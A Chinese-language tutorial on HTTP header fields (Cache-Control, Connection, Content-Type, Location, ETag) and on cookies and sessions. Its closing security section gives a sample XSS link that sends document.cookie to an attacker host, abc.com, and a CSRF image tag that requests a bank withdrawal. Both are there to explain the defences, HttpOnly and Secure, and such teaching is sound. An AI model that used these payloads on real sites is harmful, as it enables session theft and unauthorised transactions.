在深入理解HTTP協(xié)議二中,分析了:
- http1.0、http1.1及http2版本區(qū)別
- http報文結構
在本章中主要分析:
- http首部字段
- cookie與session
一、首部字段
在上文中我們已經(jīng)說過,請求首部和響應首部:
請求首部一般分為:
- 通用首部(General Header)
- 請求首部(Request Header)
- 實體首部(Entity Header Fields)
響應首部一般分為:
- 通用首部(General Header)
- 響應首部(Respond Header)
- 實體首部(Entity Header Fields)
總的來說,可將消息頭分為:
General headers: 同時適用于請求和響應消息,但與最終消息主體中傳輸?shù)臄?shù)據(jù)無關的消息頭。
Request headers: 包含更多有關要獲取的資源或客戶端本身信息的消息頭。
Response headers: 包含有關響應的補充信息,如其位置或服務器本身(名稱和版本等)的消息頭。
Entity headers: 包含有關實體主體的更多信息,比如主體長(Content-Length)度或其MIME類型。
- 端到端消息頭
這類消息頭必須被傳輸?shù)阶罱K的消息接收者,也即,請求的服務器或響應的客戶端。中間的代理服務器必須轉(zhuǎn)發(fā)未經(jīng)修改的端到端消息頭,并且必須緩存它們。
- 逐跳消息頭
這類消息頭僅對單次傳輸連接有意義,不能通過代理或緩存進行重新轉(zhuǎn)發(fā)。這些消息頭包括 Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization, TE, Trailer, Transfer-Encoding 及 Upgrade。注意,只能使用 Connection 來設置逐跳一般頭。
通用首部(General Header)
| 首部字段名 | 說明 |
|---|---|
| Cache-Control | 控制緩存行為 |
| Connection | 鏈接的管理 |
| Date | 表明創(chuàng)建 HTTP 報文的日期和時間 |
| Pragma | 報文指令 |
| Trailer | 報文尾部的首部 |
| Trasfer-Encoding | 指定報文主體的傳輸編碼方式 |
| Upgrade | 首部字段 Upgrade 用于檢測 HTTP 協(xié)議及其他協(xié)議是否可使用更高的版本進行通信 |
| Via | 代理服務器信息 |
| Warning | 錯誤通知 |
- Cache-Control(控制緩存行為)
Cache-Control 通用消息頭字段,被用于在http請求和響應中,通過指定指令來實現(xiàn)緩存機制。緩存指令是單向的,這意味著在請求中設置的指令,不一定被包含在響應中。
緩存請求指令
客戶端可以在HTTP請求中使用的標準 Cache-Control 指令。
Cache-Control: max-age=<seconds> ----期限
Cache-Control: max-stale[=<seconds>]----期限
Cache-Control: min-fresh=<seconds>----期限
Cache-control: no-cache ----可緩存性
Cache-control: no-store----可緩存性
Cache-control: no-transform
Cache-control: only-if-cached
緩存響應指令
Cache-control: must-revalidate
Cache-control: no-cache----可緩存性
Cache-control: no-store----可緩存性
Cache-control: no-transform
Cache-control: public----可緩存性
Cache-control: private ----可緩存性
Cache-control: proxy-revalidate
Cache-Control: max-age=<seconds>----期限
Cache-control: s-maxage=<seconds>----期限
示例
Cache-Control: no-store-----禁止緩存
Cache-Control:public, max-age=31536000---緩存靜態(tài)資源
Cache-Control: no-cache,max-age=0 ----需要重新驗證
- Connection(持久連接)
2個作用:
1、控制不再轉(zhuǎn)發(fā)給代理的首部字段
2、管理持久連接
GET / HTTP/1.1
Upgrade:/ HTTP/1.1
Connection:Upgrade----- "Upgrade:/ HTTP/1.1"內(nèi)容不會被轉(zhuǎn)發(fā)
-------------------------------------------
Connection:close -----tcp連接持久化關閉
Connection:keep-alive -----tcp連接持久化保持
請求首部(Request Header)
| 首部字段名 | 說明 |
|---|---|
| Accept | 用戶代理可處理的媒體類型 |
| Accept-Charset | 優(yōu)先的字符集 |
| Accept-Encoding | 優(yōu)先的內(nèi)容編碼 |
| Accept-Language | 優(yōu)先的語言(自然語言) |
| Authorization | Web認證信息 |
| Expect | 期待服務器的特定行為 |
| From | 用戶的電子郵箱地址 |
| Host | 請求資源所在服務器 |
| If-Match | 比較實體標記(ETag) |
| If-Modified-Since | 比較資源的更新時間 |
| If-None-Match | 比較實體標記(與 If-Match 相反) |
| If-Range | 資源未更新時發(fā)送實體 Byte 的范圍請求 |
| Max-Forwards | 最大傳輸逐跳數(shù) |
| Proxy-Authorization | 代理服務器要求客戶端的認證信息 |
| Referer | 對請求中 URI 的原始獲取方,表示跳轉(zhuǎn)到當前頁面的之前的頁面 |
| TE | 傳輸編碼的優(yōu)先級 |
| User-Agent | HTTP 客戶端程序的信息 |
關鍵字段:
Accept-Charset
首部字段用來告知服務器用戶代理支持的內(nèi)容編碼及內(nèi)容編碼的優(yōu)先級順序??梢淮涡灾?定多種內(nèi)容編碼
Accept-Encoding: gzip, deflate?,compress,identity
gzip: 由文件壓縮程序 gzip(GNU zip)生成的編碼格式(RFC1952)
compress:由 UNIX 文件壓縮程序 compress 生成的編碼格式
deflate:組合使用 zlib 格式(RFC1950)及由 deflate 壓縮算法(RFC1951)生成的編碼格式。
identity:不執(zhí)行壓縮或不會變化的默認編碼格式
*:指定任意的編碼格式
User-Agent
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1
首部字段 User-Agent 會將創(chuàng)建請求的瀏覽器和用戶代理名稱等信息傳達給服務器。
由網(wǎng)絡爬蟲發(fā)起請求時,有可能會在字段內(nèi)添加爬蟲作者的電子郵件地址。此外,如果請求經(jīng)過代理,那么 中間也很可能被添加上代理服務器的名稱。
響應首部(Respond Header)
| 首部字段名 | 說明 |
|---|---|
| Accept-Ranges | 是否接受字節(jié)范圍請求 |
| Age | 推算資源創(chuàng)建經(jīng)過時間 |
| ETag | 資源的匹配信息 |
| Location | 令客戶端重定向至指定URI |
| Proxy-Authenticate | 代理服務器對客戶端的認證信息 |
| Retry-After | 對再次發(fā)起請求的時機要求 |
| Server HTTP | 服務器的安裝信息 |
| Vary | 代理服務器緩存的管理信息 |
| WWW-Authenticate | 服務器對客戶端的認證信息 |
Location(客戶端重定向至指定的URI)
在 HTTP 協(xié)議中,重定向操作由服務器通過發(fā)送特殊的響應(即 redirects)而觸發(fā)。HTTP 協(xié)議的重定向響應的狀態(tài)碼為 3xx 。瀏覽器在接收到重定向響應的時候,會采用該響應提供的新的 URL ,并立即進行加載;
重定向的三種方式:
- 在服務器中響應 -----優(yōu)先級高 Location方式
- HTML重定向機制 -----優(yōu)先級中,這種機制會使瀏覽器的回退按鈕失效 <meta http-equiv="refresh" content="0;URL=http://www.baidu.com/" />
- JavaScript設置重定向 -----優(yōu)先級低 window.location = "http://www.a.com/";
ETag (響應頭,資源標識,由服務器告訴瀏覽器)
是服務器根據(jù)當前文件的內(nèi)容,給文件生成的唯一標識,只要里面的內(nèi)容有改動,這個值就會變。
瀏覽器接收到ETag的值,會在下次請求時,將這個值作為If-None-Match這個字段的內(nèi)容,并放到請求頭中,然后發(fā)給服務器。
實體首部(Entity Header Fields)
| 首部字段名 | 說明 |
|---|---|
| Allow | 資源可支持的HTTP方法 |
| Content-Encoding | 實體主體適用的編碼方式 |
| Content-Language | 實體主體的自然語言 |
| Content-Length | 實體主體的大?。▎挝唬鹤止?jié)) |
| Content-Location | 替代對應資源的URI |
| Content-MD5 | 實體主體的報文摘要 |
| Content-Range | 實體主體的位置范圍 |
| Content-Type | 實體主體的媒體類型 |
| Expires | 實體主體過期的日期時間 |
| Last-Modified | 資源的最后修改日期時間 |
Content-Type
Content-Type(內(nèi)容類型), 一般是指網(wǎng)頁中存在的 Content-Type,用于定義網(wǎng)絡文件的類型和網(wǎng)頁的編碼,決定瀏覽器將以什么形式、什么編碼讀取這個文件。字段值用 type/subtype 形式賦值
Content-Type 標頭告訴客戶端實際返回的內(nèi)容的內(nèi)容類型。
常見的媒體格式類型如下:
| 媒體格式類型 | 說明 |
|---|---|
| text/html | HTML格式 |
| text/plain | 純文本格式 |
| text/xml | XML格式 |
| image/gif | gif圖片格式 |
| image/jpeg | jpg圖片格式 |
| image/png | png圖片格式 |
常見的ajax請求Content-Type類型:
| 媒體格式類型 | 說明 |
|---|---|
| multipart/form-data | 文件上傳時 |
| application/json | JSON數(shù)據(jù)格式 |
| application/x-www-form-urlencoded | 最常見的post提交數(shù)據(jù)的方式。 中默認的encType,瀏覽器原生的form表單 |
| application/xml | XML格式 |
二、cookie與session
說到緩存,其實很容易讓人混淆,一種是靜態(tài)資源緩存(cache),另外一個是數(shù)據(jù)緩存(cookie、localstorage)。
- 數(shù)據(jù)緩存(cookie)
- Http cache
cookie
cookie被設計的目的是保持管理服務器與客戶端之間狀態(tài)。
雖然沒有被編入標準化 HTTP/1.1 的 RFC2616 中,但在 Web 網(wǎng) 站方面得到了廣泛的應用。 Cookie 的工作機制是用戶識別及狀態(tài)管理。
1、服務端操作
cookie最基本用法是服務端向應用端設置cookie,通過首部字段名Set-Cookie設置。
基本用法
Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 GMT; path=/; domain=.a.com;
Set-Cookie 字段的屬性
NAME=VALUE
賦予 Cookie 的名稱和其值(必需項)
expires=DATE
Cookie的有效期(若不明確指定則默認為瀏覽器關閉前為止)
max-age = [ 秒]
Cookie多少秒后過期(若不明確指定則默認為瀏覽器關閉前為止)
path=PATH
將服務器上的文件目錄作為Cookie的適用對象(若不指定則默認為文檔 所在的文件目錄)
domain=域名
作為 Cookie 適用對象的域名 (若不指定則默認為創(chuàng)建 Cookie 的服務 器的域名)
Secure
僅在 HTTPS 安全通信時才會發(fā)送 Cookie
HttpOnly
加以限制,使 Cookie 不能被 JavaScript 腳本訪問,防止XSS攻擊產(chǎn)生
2、客戶端操作
客戶端可以通過js腳本增加、修改、刪除cookie。
document.cookie = "name=Nicholas";
document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";
3、cookie與session
cookie數(shù)據(jù)存放在客戶的瀏覽器上,session數(shù)據(jù)放在服務器上。
cookie不是很安全,別人可以分析存放在本地的COOKIE并進行COOKIE欺騙 考慮到安全應當使用session
Session機制:
1、Session在服務器端程序運行的過程中創(chuàng)建的, 創(chuàng)建Session的同時,服務器會為該Session生成唯一的session id, 這個session id在隨后的請求中會被用來重新獲得已經(jīng)創(chuàng)建的Session。
2、Session被創(chuàng)建之后,就可以調(diào)用Session相關的方法往Session中增加內(nèi)容了, 而這些內(nèi)容只會保存在服務器中,發(fā)到客戶端的只有session id。
3、當客戶端再次發(fā)送請求的時候,會將這個session id帶上, 服務器接受到請求之后就會依據(jù)session id找到相應的Session,從而再次使用Session。
3、cookie不可跨域名性
Cookie具有不可跨域名性。根據(jù)Cookie規(guī)范,瀏覽器訪問Google只會攜帶Google的Cookie,而不會攜帶Baidu的Cookie。Google也只能操作Google的Cookie,而不能操作Baidu的Cookie
4、瀏覽器關閉session會失效
1、在服務器端生成session,并且把sessionid通過set-cookie發(fā)送給瀏覽器
以后每次請求除了圖片、靜態(tài)文件請求,其它的請求都會帶上服務端寫入瀏覽器中cookie
2、服務端接收到sessionid,通過sessionid找到對應的session信息
當瀏覽器關閉時,當前域名中設置的cookie會被清空
3、再下次請求使,服務端接收到的session為null,服務端就會認為當前用戶是一個新的用戶,重新登錄或者直接設置新的sessionid
5、Cookie的性能問題
Cookie是緊跟域名的。同一個域名下的所有請求,都會攜帶 Cookie。如果我們此刻僅僅是請求一張圖片或者一個 CSS 文件,我們也要攜帶一個 Cookie 跑來跑去(關鍵是 Cookie 里存儲的信息并不需要),這是一件多么勞民傷財?shù)氖虑?。Cookie 雖然小,請求卻可以有很多,隨著請求的疊加,這樣的不必要的 Cookie 帶來的開銷將是無法想象的。
5、Cookie的安全性問題
1、setSecure
使用HTTP協(xié)議的數(shù)據(jù)不經(jīng)過任何加密就直接在網(wǎng)絡上傳播,有被截獲的可能。使用HTTP協(xié)議傳輸很機密的內(nèi)容是一種隱患。如果不希望Cookie在HTTP等非安全協(xié)議中傳輸,可以設置Cookie的secure屬性為true。瀏覽器只會在HTTPS和SSL等安全協(xié)議中傳輸此類Cookie。
`cookie.setSecure(``true``);` `// 設置安全屬性`
2、XSS(違規(guī)獲取cookie)
<a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}>
當用戶點擊這個鏈接的時候,瀏覽器就會執(zhí)行onclick里面的代碼,結果這個網(wǎng)站用戶的cookie信息就會被發(fā)送到abc.com攻擊者的服務器。攻擊者同樣可以拿cookie搞事情。
解決辦法:可以通過cookie的HttpOnly屬性,設置了HttpOnly屬性,javascript代碼將不能操作cookie。
3、CSRF(違規(guī)使用cookie)
<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
參考文獻